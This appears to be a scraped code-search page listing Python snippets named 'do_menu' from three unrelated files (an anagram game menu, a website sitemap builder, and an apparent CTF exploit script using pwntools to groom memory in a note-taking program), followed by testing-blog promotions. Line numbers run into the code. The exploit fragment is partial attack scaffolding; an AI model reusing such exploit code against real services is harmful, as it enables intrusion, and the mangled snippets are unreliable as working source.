Best Python code snippet using ATX
Main.py
Source: Main.py
...43 lines.append("> ")44 for l in lines:45 print(l)46# end show_menu47def do_menu():48 global is_valid49 while not is_valid:50 # solicit user input and act on it until we get valid input51 show_menu()52 user_choice = input()53 handle_menu_choice(user_choice)54# end do_menu55# shows chart of tile values56def show_tile_values():57 bag.showtilevalues()58 do_menu()59# end show_tile_values60# verifies if a word is in the dictionary61def check_word():62 user_word = input("Please enter a word, or leave blank to exit.\n> ")63 while user_word != "":64 if (sDict.find(user_word)):65 print(user_word + " is in the dictionary!")66 else:67 print("Sorry, " + user_word + " is not in the dictionary.")68 user_word = input("Please enter a word, or leave blank to exit.")69 # return to the main menu when done70 do_menu()71# end check_word72def find_anagrams():73 # find anagrams of a word74 user_word = input("Please enter a word or string of letters to check, or leave blank to exit.\n> ")75 while user_word != "":76 cohort = aDict.findanagrams(user_word)77 if (cohort != None):78 print(cohort)79 else:80 print('We have no anagrams on file for ' + user_word)81 # prompt for fresh input82 user_word = input("Please enter a word or string of letters to check, or leave blank to exit.\n> ")83 # return to main menu when done84 do_menu()85# end find_anagrams86def word_value():87 # fetches the value of a word88 # solicit input89 user_word = input("Please enter a word whose value (score) you wish to determine, or leave blank to exit.\n> ")90 while user_word != "":91 points = bag.wordscore(user_word,sDict)92 print(user_word + " is worth " + str(points) + " points (zero points means the word is not in the dictionary).")93 user_word = input("Please enter another word whose value you wish to determine, or leave blank to exit.\n> ")94 # return to main menu when done95 do_menu()96# takes user input for letters to use and passes it to getbestword()97def bestword():98 userinput = ''99 while userinput == '':100 userinput = input('Please enter the letters you want to find the best scoring word for.')101 best = (getbestword(userinput, bag))102 print("The word '%s' is worth %d points." % best)103# a method to find the highest scoring word available in a set of letters (Anna will do this)104def getbestword(letters,tilebag):105 my_tiles = Rack.Rack(bag)106 my_tiles.usetheseletters(letters)107 return my_tiles.findbestword(bag,aDict,sDict)108# handles main menu user input109def handle_menu_choice(i):110 global is_valid111 if (i == OPTION_FINDWORD):112 # user wants to verify whether a word is in the dictionary113 check_word()114 is_valid = True # defensive coding - let's not cause an infinite loop!115 elif (i == OPTION_FINDANAGRAMS):116 # user wants to find anagrams for a word117 find_anagrams()118 is_valid = True # defensive coding - let's not cause an infinite loop!119 elif (i == OPTION_WORDVALUE):120 word_value()121 is_valid = True122 elif (i == OPTION_PLAYGAME):123 # print("I'm sorry, the game has not been implemented yet!\n")124 game = Game.Game(sDict,aDict,bag)125 game.playgame()126 is_valid = False127 elif (i == OPTION_QUIT):128 # option 4 is "quit", so exit the program129 is_valid = True # defensive coding - let's not cause an infinite loop!130 exit()131 elif (i == OPTION_SHOWTILEVALUES):132 show_tile_values()133 elif (i == OPTION_BESTWORD):134 bestword()135 else:136 print("You have made an invalid selection. Please try again.\n")137# end handle_menu_choice138""" BODY OF CODE """139# welcome the user140print("Welcome to Anagramarama!")141# print our menu...
hierarchy.py
Source: hierarchy.py
...96 if not isinstance(root, webber.File):97 root = get_file_for(root)98 res = [(0, 1, int(root==page), root, get_link_from(page, root))]99 bread = get_breadcrumbs()100 def do_menu(pg, level):101 if _childs.has_key(pg):102 for p in _childs[pg]:103 subpage = p[1]104 in_bread = False105 for b in bread:106 if b[0] == subpage:107 in_bread = True108 break109 go_deeper = in_bread or (subpage==page)110 link = get_link_from(page, subpage)111 res.append((level, in_bread, int(subpage==page), subpage, link))112 if go_deeper:113 do_menu(subpage, level+1)114 # TODO: make this configurable, e.g. cfg.rootpage, otherwise a page115 # that is outside of the menu won't show a menu116 do_menu(root, level)117 # print "-" * 77118 # import pprint119 # pprint.pprint(res)120 # print "-" * 77121 return res122@set_function("get_hierarchical_sitemap")123def get_hierarchical_sitemap(root="Home"):124 page = get_current_file()125 if not isinstance(root, webber.File):126 root = get_file_for(root)127 def do_menu(pg):128 res = []129 if _childs.has_key(pg):130 for p in _childs[pg]:131 subpage = p[1]132 res.append( do_menu(subpage) )133 return (pg, get_link_from(root, pg), res)134 res = do_menu(root)135 #import pprint136 #pprint.pprint(res, indent=4)137 return res138@set_function("get_linear_sitemap")139def get_linear_sitemap(root="Home", level=1):140 page = get_current_file()141 if not isinstance(root, webber.File):142 root = get_file_for(root)143 res = [(0, root, get_link_from(page, root))]144 def do_menu(pg, level):145 #print "pg:", pg146 #, _childs.has_key(pg.title)147 if _childs.has_key(pg):148 for p in _childs[pg]:149 subpage = p[1]150 #print "subpage:", subpage151 link = get_link_from(page, subpage)152 res.append((level, subpage, link))153 do_menu(subpage, level+1)154 do_menu(root, level)155 #import pprint156 #pprint.pprint(res)157 return res158@set_function("get_recently")159def get_recently(page=None, max_items=10):160 if page is None:161 page = get_current_file()162 elif not isinstance(page, webber.File):163 page = get_file_for(page)164 res = []165 orig_page = page166 def addPage(res, page):167 #print "page:", page168 res.append( (page, get_link_from(orig_page, page)) )...
local_exploit.py
Source: local_exploit.py
...59 DELETE_NOTE = 460 EXIT = 561 INVALID = 662 HACKER_SECRET_MENU = 0x3133763def do_menu(choice):64 io.sendlineafter(b"5. exit\n", str(choice.value).encode())65def skip_start():66 io.recvuntil(b"I think security people will thank me for this :)\n\n")67def create_note():68 do_menu(MenuChoice.CREATE_NOTE)69 io.recvuntil(b"note created. no ")70 id_ = int(io.recvline(keepends=False))71 io.recv(2)72 addr = int(io.recvuntil(b"]", drop=True), 16)73 return id_, addr74def delete_note(id_):75 do_menu(MenuChoice.DELETE_NOTE)76 io.sendlineafter(b"note no?\n", str(id_).encode())77def write_note(id_, data):78 do_menu(MenuChoice.WRITE_NOTE)79 io.sendlineafter(b"note no?\n", str(id_).encode())80 io.sendlineafter(b"paste your note (MAX : 4096 byte)\n", data)81def bye():82 do_menu(MenuChoice.EXIT)83 io.recvline()84def alloc_stack_frame(data = b""):85 do_menu(MenuChoice.INVALID)86io = start()87skip_start()88with log.progress("allocating pages") as p:89 for count in range(1024):90 p.status(str(count))91 id_, addr = create_note()92 if addr > 0xffe65000:93 break94 delete_note(id_)95 else:96 raise Exception("failed to allocate page")97log.success("allocated page at 0x{addr:x} after {count} tries".format(addr=addr, count=count))98with log.progress("allocating stack frames") as p:99 for i in range(1024 - count):...
Check out the latest blogs from LambdaTest on this topic:
As part of one of my consulting efforts, I worked with a mid-sized company that was looking to move toward a more agile manner of developing software. As with any shift in work style, there is some bewilderment and, for some, considerable anxiety. People are being challenged to leave their comfort zones and embrace a continuously changing, dynamic working environment. And, dare I say it, testing may be the most ‘disturbed’ of the software roles in agile development.
QA testers have a unique role and responsibility to serve the customer. Serving the customer in software testing means protecting customers from application defects, failures, and perceived failures from missing or misunderstood requirements. Testing for known requirements based on documentation or discussion is the core of the testing profession. One unique way QA testers can both differentiate themselves and be innovative occurs when senseshaping is used to improve the application user experience.
Manual cross browser testing is neither efficient nor scalable as it will take ages to test on all permutations & combinations of browsers, operating systems, and their versions. Like every developer, I have also gone through that ‘I can do it all phase’. But if you are stuck validating your code changes over hundreds of browsers and OS combinations then your release window is going to look even shorter than it already is. This is why automated browser testing can be pivotal for modern-day release cycles as it speeds up the entire process of cross browser compatibility.
Unit testing is typically software testing within the developer domain. As the QA role expands in DevOps, QAOps, DesignOps, or within an Agile team, QA testers often find themselves creating unit tests. QA testers may create unit tests within the code using a specified unit testing tool, or independently using a variety of methods.
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!